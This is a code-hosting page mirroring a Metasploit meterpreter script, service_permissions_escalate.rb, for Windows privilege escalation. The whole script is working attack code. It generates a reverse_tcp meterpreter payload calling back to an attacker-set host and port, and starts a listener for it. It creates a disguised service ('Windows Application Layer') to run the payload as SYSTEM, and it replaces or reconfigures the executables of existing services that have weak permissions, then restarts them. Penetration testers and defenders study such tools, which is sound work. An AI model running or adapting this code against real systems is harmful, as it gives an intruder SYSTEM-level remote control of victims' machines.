Mirror of metasploit
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

service_permissions_escalate.rb 7.5KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210
  1. ##
  2. # WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
  3. # If you'd like to improve this script, please try to port it as a post
  4. # module instead. Thank you.
  5. ##
  6. ##
  7. # Many services are configured with insecure permissions. This
  8. # script attempts to create a service, then searches through a list of
  9. # existing services to look for insecure file or configuration
  10. # permissions that will let it replace the executable with a payload.
  11. # It will then attempt to restart the replaced service to run the
  12. # payload. If that fails, the next time the service is started (such as
  13. # on reboot) the attacker will gain elevated privileges.
  14. #
  15. # scriptjunkie googlemail com
  16. #
  17. ##
  18. if client.platform !~ /win32/
  19. print_error("This version of Meterpreter is not supported with this Script!")
  20. raise Rex::Script::Completed
  21. end
  22. #
  23. # Options
  24. #
  25. opts = Rex::Parser::Arguments.new(
  26. "-a" => [ false, "Aggressive mode - exploit as many services as possible (can be dangerous!)"],
  27. "-h" => [ false, "This help menu"],
  28. "-r" => [ true, "The IP of the system running Metasploit listening for the connect back"],
  29. "-p" => [ true, "The port on the remote host where Metasploit is listening"]
  30. )
  31. #
  32. # Default parameters
  33. #
  34. rhost = Rex::Socket.source_address("1.2.3.4")
  35. rport = 4444
  36. aggressive = false
  37. #
  38. # Option parsing
  39. #
  40. opts.parse(args) do |opt, idx, val|
  41. case opt
  42. when "-a"
  43. aggressive = true
  44. when "-h"
  45. print_status("Generic weak service permissions privilege escalation.")
  46. print_line(opts.usage)
  47. raise Rex::Script::Completed
  48. when "-r"
  49. rhost = val
  50. when "-p"
  51. rport = val.to_i
  52. end
  53. end
  54. envs = client.sys.config.getenvs('TEMP', 'SYSTEMROOT')
  55. tempdir = envs['TEMP']
  56. sysdir = envs['SYSTEMROOT']
  57. # Get the exe payload.
  58. pay = client.framework.payloads.create("windows/meterpreter/reverse_tcp")
  59. pay.datastore['LHOST'] = rhost
  60. pay.datastore['LPORT'] = rport
  61. raw = pay.generate
  62. exe = Msf::Util::EXE.to_win32pe(client.framework, raw)
  63. #and placing it on the target in %TEMP%
  64. tempexename = Rex::Text.rand_text_alpha((rand(8)+6))
  65. tempexe = "#{tempdir}\\#{tempexename}.exe"
  66. print_status("Preparing connect back payload to host #{rhost} and port #{rport} at #{tempexe}")
  67. fd = client.fs.file.new(tempexe, "wb")
  68. fd.write(exe)
  69. fd.close
  70. #get handler to be ready
  71. handler = client.framework.exploits.create("multi/handler")
  72. handler.datastore['PAYLOAD'] = "windows/meterpreter/reverse_tcp"
  73. handler.datastore['LHOST'] = rhost
  74. handler.datastore['LPORT'] = rport
  75. handler.datastore['InitialAutoRunScript'] = "migrate -f"
  76. handler.datastore['ExitOnSession'] = false
  77. #start a handler to be ready
  78. handler.exploit_simple(
  79. 'Payload' => handler.datastore['PAYLOAD'],
  80. 'RunAsJob' => true
  81. )
  82. #attempt to make new service
  83. client.railgun.kernel32.LoadLibraryA("advapi32.dll")
  84. client.railgun.get_dll('advapi32')
  85. client.railgun.add_function( 'advapi32', 'DeleteService','BOOL',[
  86. [ "DWORD", "hService", "in" ]
  87. ])
  88. #SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config
  89. print_status("Trying to add a new service...")
  90. adv = client.railgun.advapi32
  91. manag = adv.OpenSCManagerA(nil,nil,0x10013)
  92. if(manag["return"] != 0)
  93. # SC_MANAGER_CREATE_SERVICE = 0x0002
  94. newservice = adv.CreateServiceA(manag["return"],"walservice","Windows Application Layer",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil)
  95. #SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010
  96. #SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0
  97. if(newservice["return"] != 0)
  98. print_status("Created service... #{newservice["return"]}")
  99. ret = adv.StartServiceA(newservice["return"], 0, nil)
  100. print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.")
  101. service_delete("walservice")
  102. adv.CloseServiceHandle(newservice["return"])
  103. if aggressive == false
  104. adv.CloseServiceHandle(manag["return"])
  105. raise Rex::Script::Completed
  106. end
  107. else
  108. print_status("Uhoh. service creation failed, but we should have the permissions. :-(")
  109. end
  110. else
  111. print_status("No privs to create a service...")
  112. manag = adv.OpenSCManagerA(nil,nil,1)
  113. if(manag["return"] == 0)
  114. print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.")
  115. end
  116. end
  117. print_status("Trying to find weak permissions in existing services..")
  118. #Search through list of services to find weak permissions, whether file or config
  119. serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services"
  120. #for each service
  121. service_list.each do |serv|
  122. begin
  123. srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s
  124. if srvtype != "16"
  125. continue
  126. end
  127. moved = false
  128. configed = false
  129. #default path, but there should be an ImagePath registry key
  130. source = "#{sysdir}\\system32\\#{serv}.exe"
  131. #get path to exe; parse out quotes and arguments
  132. sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s
  133. sourcemaybe = client.fs.file.expand_path(sourceorig)
  134. if( sourcemaybe[0] == '"' )
  135. sourcemaybe = sourcemaybe.split('"')[1]
  136. else
  137. sourcemaybe = sourcemaybe.split(' ')[0]
  138. end
  139. begin
  140. client.fs.file.stat(sourcemaybe) #check if it really exists
  141. source = sourcemaybe
  142. rescue
  143. print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}")
  144. end
  145. #try to exploit weak file permissions
  146. if(source != tempexe && client.railgun.kernel32.MoveFileA(source, source+'.bak')["return"])
  147. client.railgun.kernel32.CopyFileA(tempexe, source, false)
  148. print_status("#{serv} has weak file permissions - #{source} moved to #{source + '.bak'} and replaced.")
  149. moved = true
  150. end
  151. #try to exploit weak config permissions
  152. #open with SERVICE_CHANGE_CONFIG (0x0002)
  153. servhandleret = adv.OpenServiceA(manag["return"],serv,2)
  154. if(servhandleret["return"] != 0)
  155. #SERVICE_NO_CHANGE is 0xFFFFFFFF
  156. if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil))
  157. print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.")
  158. configed = true
  159. end
  160. adv.CloseServiceHandle(servhandleret["return"])
  161. end
  162. if(moved != true && configed != true)
  163. print_status("No exploitable weak permissions found on #{serv}")
  164. continue
  165. end
  166. print_status("Restarting #{serv}")
  167. #open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020)
  168. servhandleret = adv.OpenServiceA(manag["return"],serv,0x30)
  169. if(servhandleret["return"] != 0)
  170. #SERVICE_CONTROL_STOP = 0x00000001
  171. if(adv.ControlService(servhandleret["return"],1,56))
  172. client.railgun.kernel32.Sleep(1000)
  173. adv.StartServiceA(servhandleret["return"],0,nil)
  174. print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.")
  175. #Cleanup
  176. if moved == true
  177. client.railgun.kernel32.MoveFileExA(source+'.bak', source, 1)
  178. end
  179. if configed == true
  180. servhandleret = adv.OpenServiceA(manag["return"],serv,2)
  181. adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF,0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil)
  182. adv.CloseServiceHandle(servhandleret["return"])
  183. end
  184. if aggressive == false
  185. raise Rex::Script::Completed
  186. end
  187. else
  188. print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
  189. end
  190. adv.CloseServiceHandle(servhandleret["return"])
  191. else
  192. print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)")
  193. end
  194. rescue
  195. end
  196. end